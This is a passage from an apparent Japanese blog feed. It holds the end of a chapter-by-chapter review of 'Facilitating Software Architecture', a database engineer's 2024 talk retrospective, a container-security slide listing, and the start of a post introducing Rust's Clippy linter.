Radarは定期的な更新(リスイープ)により鮮度を保ちます。更新プロセスにおけるブリップのステータス変更を示しています。定期更新に加えて個別の意思決定に応じた随時更新も可能です。この柔軟な更新メカニズムにより、組織の技術動向をリアルタイムに反映できます。更新の際にはブリップの履歴を保持することが推奨されます。各ブリップの変遷を追跡できる履歴ページを用意することで、技術選択の経緯と根拠を後から参照できます。これは新規参画者のオンボーディングや過去の意思決定の振り返りに有用です。実践的な示唆Technology Radarの実践では、適切な更新頻度の設定が重要です。著者は四半期または半年ごとの更新を推奨していますが、組織の技術変化の速度に応じて調整が必要です。より重要なのは更新のクオリティです。表面的な技術トレンドの追跡ではなく、組織の経験と教訓を凝縮した有意義な指針となることを目指すべきです。Technology Radarの運用では意思決定支援ツールとしての本質を見失わないことが肝要です。単なる技術カタログではなく、組織の技術選択を導く羅針盤として機能させる必要があります。そのためには技術情報の蓄積だけでなく、その活用を促進する仕組みづくりも重要です。Technology Radarは組織の技術戦略を可視化し共有するための強力なツールです。しかしその効果を最大限に引き出すには、組織文化や既存のプロセスとの調和が不可欠です。形式的な導入ではなく、組織の意思決定プロセスと密接に連携させることで、真の価値を発揮できます。結論Technology Radarは組織の技術選択を支援する効果的なツールとして機能します。その価値は単なる技術トレンドの可視化にとどまらず、組織の集合知を活用した意思決定支援の仕組みとして重要です。定期的な更新と履歴の保持により、組織の技術進化の軌跡を記録し学習に活かすことができます。意思決定プロセスとの密接な連携により、組織全体の技術力向上に貢献する重要な基盤となります。Part III. Finding Your Way Through the Decision LandscapePart III: Finding Your Way Through the Decision Landscape では、分散型の意思決定プロセスを効果的に実践するためのフレームワークや技術、心構えを紹介しています。まず、意思決定における人間的な側面に焦点を当て、感情、創造性、バイアス、恐れといった要素がどのように意思決定に影響を与えるかを探り、それを乗り越えるために認知科学やチェックリストを活用して自己の弱点を意識的に克服する方法を提案します。また、ソフトウェア開発における不確実性や「未知の未知」に対処するために、小さな決定を迅速に積み重ねるアプローチや、最小限の機能を持つシステムを構築して初期段階で重要な決定を検証する「Walking Skeleton」を推奨し、スパイクを活用してリスクを軽減する方法を説明します。さらに、意思決定の相互関連性を認識し、過去と未来の決定がどのように影響し合うかを4つの視点から分析しながら、技術的および社会技術的な要素を考慮したアプローチを示し、組織内の信頼関係や文化の影響を考慮した対話やフィードバックを重視することの重要性を強調しています。これらを通じて、分散型の意思決定を支える心構えと実践的な手法を提供し、複雑な意思決定の環境を乗り越えるための実用的な知見を得られるようにしています。Chapter 12. The Art of Deciding第12章「The Art of Deciding」は、アーキテクチャ意思決定における人間的な側面、感情や創造性といった定量化が難しい要素に焦点を当てています。著者は意思決定を単なる論理的プロセスとしてではなく、人間の感性や組織の文化が深く関わる芸術的な営みとして捉え、その本質と実践方法を詳細に解説しています。コンテキストのフレーミング意思決定における最初の重要なステップは適切なコンテキストの設定です。著者は地図の比喩を用いて説明します。1:1の地図は全ての詳細を含むものの実用的ではありません。一方で1:1000の地図は必要な情報を抽象化し意思決定を支援します。意思決定のコンテキストも同様に適切な抽象化と焦点付けが重要です。例えば私が以前関わったクラウド移行プロジェクトでは、技術的な観点だけでなく法規制やビジネス要件も含めた包括的なコンテキストを設定することで、より適切な意思決定が可能になりました。オプションと結果の検討意思決定のオプションと結果を検討する際は創造性が重要な役割を果たします。著者は「フレームに制限されすぎない」ことを強調します。これは実務でも重要な指摘です。以前のプロジェクトで既存のアーキテクチャパターンにとらわれすぎた結果、より良いソリューションを見逃した経験があります。オプションの検討ではインスピレーションの源を広く求めることも重要です。技術書だけでなく他分野の知見も参考になります。例えば著者は農業の本からも洞察を得ています。この多面的なアプローチは新しい視点をもたらします。アドバイスを通じた洗練アドバイスプロセスは意思決定の質を高める重要な要素です。ただしこれは形式的なものではなく社会的な契約として機能します。著者はBadaraccoの質問フレームワークを引用し「我々の義務は何か」「現実の世界で何が機能するか」といった観点からの検討を推奨します。実務ではアドバイスの質と形式のバランスが重要です。形式的なレビューに陥らず建設的な対話を生み出すには組織文化の醸成が必要です。私のチームでは週次のアーキテクチャ・フォーラムを設け、オープンな議論の場を作っています。メタ認知の重要性著者は意思決定者のメタ認知(自己の思考プロセスへの理解)の重要性を強調します。これは感情やバイアスへの対処に重要です。例えば「なぜその選択に不安を感じるのか」「どのようなバイアスが働いているのか」を意識的に考えることで、より良い判断が可能になります。実践では3つのエクササイズが提案されています。理由の共有・反応と応答の区別・挑戦的なアドバイスの積極的な収集です。これらは日々の意思決定プロセスに組み込むことで効果を発揮します。意思決定の実行最後の意思決定の実行段階では恐れとバイアスへの対処が重要です。著者はBikartの5つの恐れ(失敗・成功・同一化・認識欠如・利己性)を紹介し、これらへの認識と対処の重要性を説明します。実務では「決定を試着する」というアプローチが有効です。ADRをドラフト状態で作成し一晩置くことで、より客観的な判断が可能になります。私のチームでもこのプラクティスを採用し効果を上げています。組織文化への影響本章の内容は個人の意思決定スキル向上だけでなく組織文化の変革にも大きな示唆を与えます。従来型のアーキテクトが意思決定権限を手放し、アドバイザーとしての新しい役割を受け入れるプロセスは重要です。本章では著者が実際に経験した事例としてPete Hunter(エンジニアリングディレクター)のケースが印象的です。Pete Hunterはアーキテクチャ・アドバイスプロセスを初めて導入したクライアントの一人でした。彼は当初、チームに意思決定権限を委譲することへの不安や懸念を抱えていましたが、プロセスを通じて組織の成長を実感しました。Hunterの事例は権限移譲における心理的な課題を鮮明に示しています。彼は意思決定権限の委譲に際して、チームの能力や判断への不安、コントロール欲求との葛藤など、多くのリーダーが直面する感情的な課題を率直に語っています。しかし最終的に彼は「We need to let go and support them」(権限を手放してチームをサポートする必要がある)という重要な洞察に至りました。この経験は組織における信頼構築と権限委譲の本質を示す貴重な事例となっています。結論アーキテクチャ意思決定は論理的な分析だけでなく人間的な要素を含む複雑な営みです。本章は意思決定の「アート」としての側面に光を当て、より効果的な実践のための具体的なガイダンスを提供しています。重要なのはコンテキストのフレーミング、創造的なオプション検討、アドバイスプロセスの活用、メタ認知の実践です。これらの要素を意識的に取り入れることで、より良いアーキテクチャ意思決定が可能になります。今後の組織運営においては、これらの知見を活かした意思決定プロセスの確立と、それを支える文化の醸成が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 13. Tackling Architectural Variability第13章「Tackling Architectural Variability」は、ソフトウェア開発における不確実性とアーキテクチャの可変性に焦点を当てています。著者は同じシステムを二度と作ることはないという洞察から始め、この本質的な可変性にどう向き合うべきかについて具体的な指針を提供します。BIG THINGS どデカいことを成し遂げたヤツらはなにをしたのか?作者:ベント・フリウビヤ,ダン・ガードナーサンマーク出版Amazon可変性の本質と影響ソフトウェア開発における可変性は避けられない現実です。最も慎重に計画された開発プロジェクトでさえ予期せぬ変化に直面します。例えばある大規模プロジェクトでは、当初想定していなかったスケーリング要件の変更により、ID管理システムの設計を大幅に見直す必要が生じました。可変性は4つの主要な課題をもたらします。作業の困難さ、予測不可能な変更の発生、認知的負荷の増大、そしてコミュニケーションと同期のオーバーヘッドです。これらの課題は個々のチームだけでなく組織全体に影響を及ぼします。可変性への実践的アプローチ著者は可変性を単なる問題としてではなく「ソフトウェアの力の源泉」として捉え直すことを提案します。この視点は非常に重要です。私のチームでも、予期せぬ要件変更を新機能開発の機会として活用した経験があります。重要なのは小さな決定の積み重ねというアプローチです。この方法は3つの利点を持ちます。第一に意思決定から実装までの時間を短縮できます。第二にオーバーヘッドを削減できます。そして第三にフィードバックを加速し、リスクを低減できます。Walking Skeletonの活用著者は初期の意思決定を検証する手段としてWalking Skeletonの概念を紹介します。これは最小限の機能を持つ実装を通じて、主要なアーキテクチャ上の決定を早期に検証する手法です。新規プロジェクトの立ち上げ時にこのアプローチを採用し、大きな効果を得ました。注目すべきは機能的なコンテキストを通じた決定の検証です。単なる技術的な検証ではなく実際のユースケースに基づく検証により、より実践的なフィードバックを得ることができます。フラクチャープレーンの活用大きな決定を分割する際の指針として著者はフラクチャープレーンの概念を提示します。機能的、タイミング的、コードベース上の分割点を見極めることで、より効果的な意思決定が可能になります。私のプロジェクトでも、マイクロサービスの分割において、この考え方に基づいてサービス境界を定義し、成功を収めました。将来のフローへの影響意思決定は現在の開発フローだけでなく将来のフローにも影響を与えます。著者はReinertsenの「小さなバッチサイズは高いオーバーヘッドを生む」という一般的な認識への反論を紹介します。実際の開発現場でも、小さな決定の積み重ねが結果として意思決定の質と速度を向上させる事例を多く経験しています。結論可変性はソフトウェア開発の本質的な特徴であり、それを排除するのではなく「活用する」という視点が重要です。著者の提案する小さな決定の積み重ねというアプローチは、現代のソフトウェア開発における実践的な指針となります。この方法はマイクロサービスアーキテクチャなど複雑なシステムの開発において、高い効果を発揮しています。今後の組織運営においては、この知見を活かし「予測不可能性を前提とした開発プロセス」の確立が重要な課題となるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 14. Variability and the Interconnectedness of Decisions第14章「Variability and the Interconnectedness of Decisions」は、アーキテクチャ意思決定の相互関連性とその可変性について深く掘り下げています。著者は意思決定の関係性を4つの視点から分析し、それらを理解し効果的に扱うためのツールとしてスパイクの活用を提案しています。「変化を嫌う人」を動かす:魅力的な提案が受け入れられない4つの理由作者:ロレン・ノードグレン,デイヴィッド・ションタル,船木 謙一(監修)草思社Amazonスパイクによる可変性への対処意思決定の可変性に対処する強力なツールとして著者はスパイクの活用を提案します。スパイクは不確実性の高い決定を検証する際に非常に効果的です。例えば以前のプロジェクトでマイクロサービスアーキテクチャへの移行を検討した際、スパイクを使って主要なアーキテクチャ上の決定を早期に検証できました。Figure 14-1. Spikes fit into an overall decision process at the start, somewhere around “decision required” and “option making” より引用Figure 14-1に示されるように、スパイクは意思決定プロセスの初期段階で活用されます。本番環境へのデプロイまで待たずにフィードバックを得られることは大きな利点です。実際にスパイクを通じて想定外の課題を早期に発見し、アプローチを修正できた経験が何度もあります。意思決定の4つの視点著者は意思決定の関係性を理解するための4つの視点を提示します。第一に意思決定の連続性です。決定は単独で存在するのではなく時系列上で連なっています。第二に逆ピラミッド構造です。より低層の決定が上層の決定のコンテキストを形成します。第三に原子性です。これ以上分割できない最小単位の決定が存在します。第四に双方向の対話です。新しい決定が過去の決定に影響を与えることもあります。この4つの視点は実務でも非常に有用です。あるプロジェクトでは意思決定の逆ピラミッド構造を意識することで、より効果的な決定順序を設計できました。低層の決定が上層に与える影響を考慮することは重要です。レイヤー構造の重要性著者は意思決定を3つの主要なレイヤーで捉えることを提案します。レイヤー1は独立した製品やプログラムに関する決定です。レイヤー2は境界と制約の保護です。レイヤー3は自律的で接続されたコミュニティに関する決定です。でもこのレイヤー構造の理解は非常に重要でした。クラウドネイティブアプリケーションの開発では、レイヤー2での適切な境界設定が後の開発の成否を大きく左右しました。各レイヤーの特性を理解し意識的に決定を行うことで、より堅牢なアーキテクチャを実現できます。社会技術的な複雑性意思決定の相互関連性は技術的な側面だけでなく社会的な側面も持ちます。著者は信頼関係とコントロールの感覚の重要性を強調します。技術的に正しい決定であっても、組織の信頼関係が損なわれると実装が困難になることがあります。この文脈で参考になるのが『何回説明しても伝わらない』という本です。この本は認知科学の観点から、コミュニケーションの本質的な課題と解決策を提示しています。特に「話せばわかる」という前提自体を問い直し、相手の立場に立った理解と伝達の重要性を説いています。これは分散型アーキテクチャにおける意思決定プロセスを考える上でも重要な示唆を与えてくれます。「何回説明しても伝わらない」はなぜ起こるのか? 認知科学が教えるコミュニケーションの本質と解決策作者:今井むつみ日経BPAmazonスパイクはこの社会技術的な複雑性にも対処できます。コードを書いて検証するという具体的なアプローチは、抽象的な議論よりも建設的な対話を促進します。私のチームでもスパイクを通じた検証により、チーム間の信頼関係を強化できた経験があります。結論可変性と相互関連性を持つアーキテクチャ意思決定において、スパイクは強力なツールとなります。意思決定の4つの視点を理解し、適切なレイヤー構造で捉えることで、より効果的な意思決定が可能になります。また社会技術的な側面にも配慮することで、組織全体としての決定の質を向上させることができます。今後の組織運営においては、これらの知見を活かし「早期検証と段階的な進化」を重視したアプローチが重要になるでしょう。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 15. The Transition of Power and Accountability第15章「The Transition of Power and Accountability」は、アーキテクチャ意思決定プロセスの導入に伴う権限と責任の移行について深く掘り下げています。著者は組織的・個人的な課題に焦点を当て、分散型アーキテクチャ実践への移行を成功させるための具体的な指針を提供します。権限移行の本質的な課題組織における権限移行は単純なプロセスではありません。伝統的な階層構造から分散型の意思決定モデルへの移行には大きな困難が伴いました。重要なのは心理的安全性の確保です。Figure 15-1. A circles and roles view of the advice process that shows the accountabilities inherent in the advice process, how they map to various roles, and how those roles interrelate より引用Figure 15-1は意思決定プロセスにおける役割と責任の関係を示しています。このモデルは単なる組織図ではなく、各役割が持つ責任と相互の関係性を明確に示します。実際のプロジェクトでもこのような可視化が有効でした。権限を得る側の課題権限を得る側の主な課題は「本当に権限を持っているのか」という不安です。私のチームでも当初はアーキテクトに過度に依存する傾向がありました。これを克服するには明確なコミュニケーションと段階的な移行が重要です。NetflixのSunshiningの例は印象的です。失敗を隠すのではなく公開し学習する文化は、権限移行の成功に不可欠です。私のプロジェクトでもこのアプローチを採用し、チームの自律性と学習能力が大きく向上しました。権限を手放す側の課題権限を手放す側も大きな不安を抱えます。「悪い決定がされるのではないか」という懸念は自然なものです。私自身もアーキテクトとしてこの不安を経験しました。しかし重要なのは「完璧な決定」ではなく「学習と改善のプロセス」です。注意が必要なのはサボタージュの問題です。著者は意図的な妨害行為の具体例を挙げています。このような行為は往々にして無意識に行われることが多く、早期発見と対処が重要でした。メタ認知の重要性著者はメタ認知(自己の思考プロセスの理解)の重要性を強調します。これは私も強く共感する点です。「反応」と「応答」の区別は実践的に非常に重要です。あるプロジェクトでは、チーム全体でこの概念を共有することで、より建設的な対話が可能になりました。メタ思考~「頭のいい人」の思考法を身につける作者:澤円大和書房Amazon結論権限と責任の移行は組織にとって大きな挑戦です。しかし適切に実施することで、より強靭で適応力のある組織を作ることができます。心理的安全性の確保と明確なコミュニケーションが重要でした。今後の組織運営においては、心理的安全性の確保と透明性の高いプロセスの確立が重要な課題となります。技術的な卓越性と人間的な洞察の両立が、現代のソフトウェアアーキテクチャ実践には不可欠です。Chapter 16. On Leadership第16章「On Leadership」は、分散型アーキテクチャにおけるリーダーシップの本質と実践について深く掘り下げています。著者はリーダーシップに関する一般的な誤解を解き、分散型アーキテクチャの文脈における効果的なリーダーシップのあり方を具体的に示しています。誰もが人を動かせる! あなたの人生を変えるリーダーシップ革命作者:森岡毅日経BPAmazonリーダーシップの誤解を解く著者はまずリーダーシップに関する4つの主要な誤解を指摘します。第一に「リーダーシップは生まれつきの才能である」という誤解です。著者はPeter Druckerの言葉を引用し「リーダーシップはパフォーマンスであり地道な仕事である」と主張します。第二に「リーダーシップは階層と結びついている」という誤解です。実際の組織では「ピーターの法則」として知られるように階層的な昇進は必ずしもリーダーシップ能力と一致しません。むしろ階層的な昇進システムそのものがリーダーシップの育成を阻害する可能性があります。第三に「リーダーシップは一方向的である」という誤解です。従来の考え方では指示は上から下へ一方向に流れると想定されてきました。しかし現代の組織では双方向のコミュニケーションとフィードバックが不可欠です。第四に「リーダーシップはマネジメントと同じである」という誤解です。マネジメントが現状の最適化を目指すのに対しリーダーシップは変革と未来に焦点を当てる点で本質的に異なります。Leader-Leaderアプローチ著者はリーダーシップのモデルとしてL. David Marquetの「Leader-Leader」アプローチを推奨します。このアプローチは全員がリーダーになり得るという信念に基づいています。重要なのは認知的な仕事においては従来の上意下達型のリーダーシップが機能しないという洞察です。Leader-Leaderアプローチでは「私はこうするつもりです」という宣言を通じてリーダーシップを実践します。この宣言に対して反対がなければ実行に移せます。これにより意思決定の分散化と迅速化を両立できます。移行期のリーダーシップ課題分散型アーキテクチャへの移行期には4つの主要な課題があります。第一に「コントロールを手放す」ことです。これは単なる形式的な権限移譲ではなく心理的な変革を必要とします。第二に「安全性を個別の決定より優先する」ことです。多様な視点を取り入れるには心理的安全性の確保が不可欠です。技術的な正しさよりも組織の信頼関係構築を優先する必要があります。第三に「I intend to」プラクティスの導入です。これは権限移譲を具体化する効果的な方法です。チームメンバーが主体的に行動を起こせる環境を作ります。第四に「信頼してから検証する」アプローチです。失敗を許容し学習機会として捉える文化づくりが重要です。検証は必要ですがマイクロマネジメントは避けるべきです。モラルリーダーシップの重要性著者はモラルリーダーシップの継続的な必要性を強調します。技術的パフォーマンスへの影響は過大評価されがちですが組織の道徳的側面への影響は過小評価されています。モラルリーダーシップは多様性を保護し心理的安全性を促進します。これは分散型アーキテクチャの実践において重要です。パワーバランスの偏りを防ぎ幅広い声が貢献できる環境を維持します。実践的な示唆著者の提案は現代のソフトウェア開発組織に重要な示唆を与えます。注目すべきはリーダーシップを特定の役職や個人に固定化しないという考え方です。組織の成長とともにリーダーシップも進化させる必要があります。継続的な学習とフィードバックを重視する文化づくりも重要です。失敗を恐れず実験と改善を繰り返すサイクルを確立することで組織全体の能力が向上します。結論本章は分散型アーキテクチャにおけるリーダーシップの新しいモデルを提示しています。Leader-Leaderアプローチとモラルリーダーシップの組み合わせは現代のソフトウェア開発組織に適した枠組みを提供します。重要なのはリーダーシップを学習可能なスキルとして捉える視点です。これは組織の持続的な成長と進化を支える基盤となります。今後の組織運営においてはこれらの知見を活かし分散型でありながら一貫性のある技術戦略を実現することが求められます。Chapter 17. Fitting the Advice Process Within Your Organization第17章「Fitting the Advice Process Within Your Organization」は、アーキテクチャ・アドバイスプロセスを既存の組織構造に統合する方法について深く掘り下げています。著者は組織の境界とその接点に注目し、分散型アーキテクチャ実践を組織全体に効果的に適用するための具体的な指針を提供しています。ソフトウェアエンジニアリングのサブカルチャー著者はまずソフトウェアエンジニアリング部門の独自性に着目します。伝統的な組織文化とは異なる特性を持つソフトウェア開発において、アドバイスプロセスは自然な形で受け入れられる可能性が高いと指摘します。注目すべきはソフトウェア開発の4つの特徴です。標準的な製品開発モデルとの違い、変化の速度、組織との接点の少なさ、そして既に受け入れられている文化的な違いです。これらは以前関わった大規模プロジェクトでも、ソフトウェア開発チームは他部門とは異なる働き方を自然に確立していました。アドバイスプロセスバブルの概念著者はアドバイスプロセスバブルという概念を提示します。このバブルは分散型実践のための明確な境界を持つ空間として機能します。Figure 17-1はバブルの基本的な構造を示しており、組織の他の部分との関係性を明確にします。Figure 17-1. An advice process bubble where teams practice the advice process, surrounded by the rest of the organization where everything continues as usual より引用バブルは完全に独立しているわけではありません。むしろ組織との適切な接点を維持しながら、内部の自律性を確保する仕組みとして機能します。私のチームでもこのアプローチを採用し、組織全体との調和を保ちながら独自の開発文化を育てることができました。バブルの成長と分割バブルの成長には慎重なアプローチが必要です。著者は段階的な成長と適切なタイミングでの分割を推奨します。Figure 17-2は分割後のバブル構造を示しており、組織とのインターフェースをどう維持するかが明確に示されています。Figure 17-2. An additional circle with responsibilities for linking into the wider organization’s performance management process has been added to the advice process bubble より引用重要なのはバブル分割の判断基準です。信頼関係の低下、意思決定の遅延、不必要な情報共有の増加などが分割のシグナルとなります。あるプロジェクトでは規模の拡大に伴いコミュニケーションコストが増大し、結果として2つのバブルに分割することで効率が改善しました。組織との期待値の管理著者は組織からの期待に対する適切な対応の重要性を強調します。明示的な期待と暗黙的な期待の区別が重要です。要件の達成や透明性の確保といった明示的な期待に加えて、階層的な質問への対応や適切なスキルの確保といった暗黙的な期待にも注意を払う必要があります。この観点は実務上極めて重要です。私のチームでも組織の期待を明確に理解し対応することで、分散型実践の価値を示すことができました。定期的なステータス報告や成果の可視化は、組織との信頼関係構築に大きく貢献しました。結論アドバイスプロセスの組織への適合は継続的な取り組みを必要とします。著者はバブルの独自性を保護しながら組織との調和を図ることの重要性を強調します。これは単なる技術的な課題ではなく、組織文化の変革を伴う取り組みです。このアプローチは現代のソフトウェア開発組織に極めて有効です。マイクロサービスアーキテクチャやDevOpsの実践において、チームの自律性と組織全体の整合性のバランスを取る際に役立ちました。今後の課題としては、リモートワークの普及やグローバル開発の加速に伴う新たな組織的課題への対応が考えられます。しかし著者が示した原則と実践的なアプローチは、これらの課題に対しても有効な指針となるはずです。おわりに実は本書を最初に読んだのは11月でした。読了後すぐに、この本の内容が字分の人生の年末の振り返りや自身の職務経歴書の更新と似ているなぁって思って、書評自体は年末年始に書こうと決めました。その間、折に触れて内容を整理し、メモを取り続けていましたが、実際の執筆は結局大晦日までずれ込んでしまいました。しかし、この「遅さ」が逆に、一年を通じての経験と本書の内容を結びつける機会を与えてくれたように思います。本書「Facilitating Software Architecture」を通じて、私たちは分散型アーキテクチャにおける実践的アプローチを学んできました。印象的だったのは、アーキテクチャの実践が単なる技術的な設計にとどまらず、組織文化や人間関係の深い理解を必要とすることです。本書の核心は、アーキテクチャを「共創的な営み」として捉える視点にあります。伝統的な中央集権型アプローチから分散型への移行は、単なるプロセスの変更以上の意味を持ちます。それは組織全体の思考様式の転換であり、新しい形の協働を生み出す試みです。アーキテクチャ・アドバイスプロセスとADR(Architecture Decision Records)は、この新しいアプローチを支える具体的な実践として重要です。これらは意思決定の透明性を高め、組織の学習を促進する強力なツールとなります。同時に、Technology RadarやWalking Skeletonといった手法は、不確実性の高い環境での実践的な指針を提供してくれます。しかし、最も重要なのは「信頼」を基盤とした組織文化の醸成です。分散型アーキテクチャの成功は、技術的な卓越性だけでなく、組織メンバー間の深い信頼関係に依存します。本書を通じて学んだ様々なプラクティスも、この信頼関係があってこそ効果を発揮するものです。この一年間、私自身が経験した技術への意欲の喪失と回復の過程は、本書の内容と深く共鳴するものでした。個人としてもチームとしても、時には立ち止まり、基本に立ち返ることの重要性を再認識させてくれます。心身の健康に意識を向け、純粋な楽しみの時間を大切にすることは、持続可能な開発文化の基盤となるでしょう。これからのソフトウェア開発は、さらなる複雑性と不確実性に直面することでしょう。しかし、本書で示された分散型アプローチと、それを支える様々な実践は、これらの課題に立ち向かうための強力な武器となるはずです。個人としても組織としても、継続的な学習と適応を重ねながら、より良いソフトウェア開発の実現を目指していきたいと思います。2024年もみなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。","isoDate":"2024-12-31T14:25:46.000Z","dateMiliSeconds":1735655146000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"2024年の振り返りをする","link":"https://nnaka2992.hatenablog.com/entry/2024/12/31/2024_furikaeri","contentSnippet":"みんな振り返りしてる。振り返りしてないのはお前だけ。なので振り返りします。登壇関係2024-03-29 3-shake SRE Tech Talk #9 - connpass2024年の登壇はじめは所属会社である株式会社スリーシェイクの主催するイベントでした。データベーススペシャルということでDB関連がメインの回で、メインセッションとして30分枠で登壇しました。内容はo11yとデータベースを主軸とした話です。個人的には今後データベースのスロークエリ検知は従来のスロークエリログを利用する方法からo11yのトレースを通して発見していく方法が主流になるのではと思っています。データベースにオブザーバビリティを注入する - Speaker DeckSRETTというイベントがインフラ・SRE・アプリケーション側の試聴者が多いだろうと考えて、少しアプリ・SREよりの内容にしようとo11yをメインに据えた記憶があります。2024-04-26 YugabyteDB Japan Meetup #3登壇はじめからはなかなかのハイペースで、1ヶ月経たないうちにGoogle CloudのコミュニティであるJagu\'e\'rでの登壇です。やはりここもDBREの文脈でデータベースでブルーグリーンをできるようにしようという内容です。Jagu\'e\'r Observability-SRE分科会 Meetup#7 ハイブリッド - connpassGoogle CloudのDBにもAWS RDSのブルーグリーン相当の機能が欲しいです。2024-06-05 Google Cloud非公開イベントGoogle Cloudがパートナー向けに開催している非公開イベントでの登壇でした。2024年4月のGoogle Cloud Nextで発表された「全てのDBにベクトル検索を搭載します」という内容に衝撃を受けて、話した内容だった気がします。確かにすごいですが、全部のDBに必要なのかと問われると疑問です。Google Cloud で利用できるRDBのベクトル検索を徹底解剖! - Speaker Deck結論としては特別な理由がなければCloud SQLを使え、です。2024-07-17 YugabyteDB Japan Meetup #5 - connpass約1年ぶりのYugabyteDB Japan Meetupのリベンジ登壇です。初回がなぜかDBREの話をしてYugabyteDBの話はフレーバー程度になってしまったので、本腰を入れてYugabyteDBならではの話をしました。大規模マルチテナントを解決するYugabyteDBという選択肢 - Speaker DeckYugabyteDBはメジャーなNewSQLでは唯一RLSをサポートしており、スケールアウトとセキュリティを両立したデータベースなので大規模マルチテナントの最適解では? という内容です。この考えはAurora DSQLの登場でも意見は変わりませんが、Limitlessでいいのでは? という気持ちはあります。2024-08-30 Jagu\'e\'r Cloud Native #15 ハイブリッド Meetup - connpass2024年2回目のJagu\'e\'rでの登壇でした。Google Cloudと不仲と噂されていたOracleの関係改善に驚いた結果話した内容です。やっていることはシンプルでOracle DBをKubernetesでうごかすOperatorを紹介しています。GoogleとOracle:この二人は友達になれました~GKEでOraOperatorを動かそう~ - Speaker Deckこの9月末まではGoogle Cloudのパートナーエンジニア表彰プログラムである、Google Cloud Partner Top Engineerの評価期間であったためGoogle Cloudに偏重した登壇を行っていました。2024-10-01 Kubernetes Novice Tokyo #34 - connpassJagu\'e\'r Cloud Native #15で登壇した内容を一部保管しつつ、されつつといった内容の登壇でした。@bells17_が運営のひとりなのでOracle DB on Kubernetesの話をするので早く開催してくださいとプレッシャーをかけた覚えがあります。その節はお世話になりました。登壇した直後にOracle DBの話しすぎて、Kubernetesユーザーからするとちょっと違うなという話をしてしまったと反省した記憶があります。Kubernetes上でOracle_Databaseの運用を楽にするOraOperatorの紹介 - Speaker Deckこの時期はOracle DB x Kubernetesの熱が上がりましたが、今はそこまででもありません。今はやっぱりPostgreSQLだとCloud NativePGに熱を上げてます。2024-12-17 Database Engineering Meetup #5 - connpass2024年の登壇納はDatabase Engineering Meetupでした。ちょうど11月下旬ごろにKubeCon NA 2024があり、そこでDB関連のセッションが半年前のKubeConから3倍近くに増えておりそれをまとめた内容です。KubeCon NA 2024の全DB関連セッションを紹介 - Speaker Deck2024年のはじめごろはGoogle Cloudを中心としたパブリッククラウドを主軸としたCloud Nativeから、Oracle x GKEを通してKubernetesという流れでした。データベースエンジニアを自称する限り、Kubernetesからは逃げられないと思っています。来年もKubernetesを頑張ります。2024年は全部で7本の登壇をしたようです。ブログ関連はてなブログでは主に読んだ論文やドキュメント、セッションレポートなどをまとめ、zennでは何かを調べてまとめたものや検証した結果をまとめるように使い分け運用しました。12月のアドベントカレンダーシーズンにKubeCon NAのセッションレポートを書いていたところ、最後の投稿が2023年の振り返りをするで焦ったのは秘密です。nnaka2992.hatenablog.comzennの方は2023年と同様に社内向けに話すもののうち社外に出しても問題ないようなものを垂れ流していましす。2025年も引き続き技術検証方面に力をいれたいのでzennを活発に出来たらなと思います。全部で11本のブログを書いたようです。まとめ2024年はがむしゃらに本数を意識した1年でした。来年も数にはこだわっていきたいですが、内容はKubernetesとPostgreSQLとGoogle Cloudあたりに注力していけたらいいなと思っています。","isoDate":"2024-12-31T13:22:33.000Z","dateMiliSeconds":1735651353000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"rootful・rootless・privilegedコンテナの違い/rootful_rootless_privileged_container_difference","link":"https://speakerdeck.com/moz_sec_/rootful-rootless-privileged-container-difference","contentSnippet":"2024/12/28に開催されたOWASP KansaiのLTの資料です。\\rhttps://owasp-kansai.doorkeeper.jp/events/179740","isoDate":"2024-12-28T05:00:00.000Z","dateMiliSeconds":1735362000000,"authorName":"Kobayashi Shun","authorId":"moz-sec"},{"title":"Clippyのすすめ - 他者の評価を気にせず何度でも指摘してくれる機械もしくは注意力の限界を超えてケアをしてくれる機械","link":"https://syu-m-5151.hatenablog.com/entry/2024/12/27/170046","contentSnippet":"はじめにプログラミングを学ぶ上で、良いコードの書き方を知ることは非常に重要です。今回は、Rustで良いコードを書くための強力な味方、Clippyについて学んでいきましょう。プログラミング初心者の方から、他の言語からRustに移ってきた方まで、きっと新しい発見があるはずです。私も最近、Rustに関する素晴らしい本を読んでいます。「Effective Rust」と「Idiomatic Rust」は、Rustらしい書き方やデザインパターンについて詳しく解説していて、とても勉強になります。ただ、正直なところ、本を読んだだけでは私自身なかなか良いコードが書けず、ツールでのレビューで「これRustらしくないよね」とよく指摘されています。そのたびに勉強させられています。きっと同じような経験をされている方も多いのではないでしょうか。Idiomatic Rust: Code like a Rustacean (English Edition)作者:Matthews, BrendenManningAmazonEffective Rust: 35 Specific Ways to Improve Your Rust Code (English Edition)作者:Drysdale, DavidO\'Reilly MediaAmazonそんな中で私の強い味方になっているのが、今回紹介するClippyです。本で学んだ内容を実践しようとするとき、Clippyは具体的なアドバイスをくれる、とても親切な存在です。特に「ここがRustらしくない」と言われたときの改善方法を、実例を挙げて教えてくれるのが心強いです。rust-lang.github.ioRust 標準 linter: Clippyプログラミング言語には、よくある間違いや非推奨の書き方をチェックして警告を発してくれる、lintというプログラムがあります。元々はC言語をチェックするものでしたが、現在では様々な言語のためのlinterが作られています。Lint Nightなんてイベントもあります。lintnight.connpass.comRustには言語標準のlinterがあり、その名をclippyと言います。使い方は極めて簡単で、cargoツールチェインがインストールされていれば、下記のようにインストールして、$ rustup component add clippy下記のコマンドをcrateのフォルダで実行するだけです。$ cargo clippyClippyのlinterとしての特徴linterはコードの品質を向上するために、多くの現場で使われているツールですが、実際には厳しすぎるルールや、実際の問題にそぐわないものも多くあります。これを偽陽性(false positive)の検出と呼びます。通常は設定ファイルや特殊なコメントをコードに埋め込むことによって、特定のlintの有効・無効を切り替えることになります。これは無視できない労力で、linterのバージョンを更新するたびに新たなルールに対応する必要が出てきたり、コメントによってコードが汚くなったりするデメリットもあります。Clippyの特徴は、デフォルトの設定でもそのような偽陽性の警告が少なく、実際にコードの品質が向上したり、プログラマとしての知識が得られるのを実感できるような警告が多いということです。実践的な例例えば、次のような関数を見てください:fn sum_squares(values: 